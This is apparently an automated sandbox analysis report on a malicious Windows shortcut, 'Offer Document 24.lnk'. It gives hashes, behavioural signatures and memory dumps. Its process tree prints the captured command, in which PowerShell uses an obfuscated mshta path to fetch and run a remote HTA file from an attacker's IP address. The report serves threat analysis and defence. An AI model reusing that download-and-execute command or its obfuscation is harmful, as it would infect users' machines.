Analysis
-
max time kernel
119s -
max time network
122s -
platform
windows7_x64 -
resource
win7-20231129-en -
resource tags
arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system -
submitted
23-05-2024 18:20
Static task
static1
Behavioral task
behavioral1
Sample
Offer Document 24.lnk
Resource
win7-20231129-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
Offer Document 24.lnk
Resource
win10v2004-20240508-en
13 signatures
150 seconds
General
-
Target
Offer Document 24.lnk
-
Size
1KB
-
MD5
bf9569f5e56e6dcb1f4ae60fd2faea36
-
SHA1
1085e4140bf323df085db50b8f79c3b02b4aab72
-
SHA256
59f149ffc55554ce0aac7072bba999b5abb83b023486e017f407883f8a27e4e2
-
SHA512
2a682c59a881c95d36d56d28328253f3c8cc6ac3d466c5eefa1223cb58a12de708414a5e6f59e07f919c9e122748deb76961c1e84ec4c3e19f68afdf4cc032d9
Score
3/10
Malware Config
Signatures
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid process 2672 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 2672 powershell.exe -
Suspicious use of WriteProcessMemory 3 IoCs
Processes:
cmd.exedescription pid process target process PID 2660 wrote to memory of 2672 2660 cmd.exe powershell.exe PID 2660 wrote to memory of 2672 2660 cmd.exe powershell.exe PID 2660 wrote to memory of 2672 2660 cmd.exe powershell.exe
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\Offer Document 24.lnk"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" . $env:C:\W*\S*2\m*h?a.* 'http://20.86.128.223/room/room4.hta'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
memory/2672-38-0x000007FEF5E9E000-0x000007FEF5E9F000-memory.dmpFilesize
4KB
-
memory/2672-40-0x000007FEF5BE0000-0x000007FEF657D000-memory.dmpFilesize
9.6MB
-
memory/2672-39-0x000000001B7B0000-0x000000001BA92000-memory.dmpFilesize
2.9MB
-
memory/2672-41-0x0000000001E50000-0x0000000001E58000-memory.dmpFilesize
32KB
-
memory/2672-42-0x000007FEF5BE0000-0x000007FEF657D000-memory.dmpFilesize
9.6MB
-
memory/2672-43-0x000007FEF5BE0000-0x000007FEF657D000-memory.dmpFilesize
9.6MB
-
memory/2672-44-0x000007FEF5BE0000-0x000007FEF657D000-memory.dmpFilesize
9.6MB
-
memory/2672-45-0x000007FEF5BE0000-0x000007FEF657D000-memory.dmpFilesize
9.6MB
-
memory/2672-46-0x000007FEF5BE0000-0x000007FEF657D000-memory.dmpFilesize
9.6MB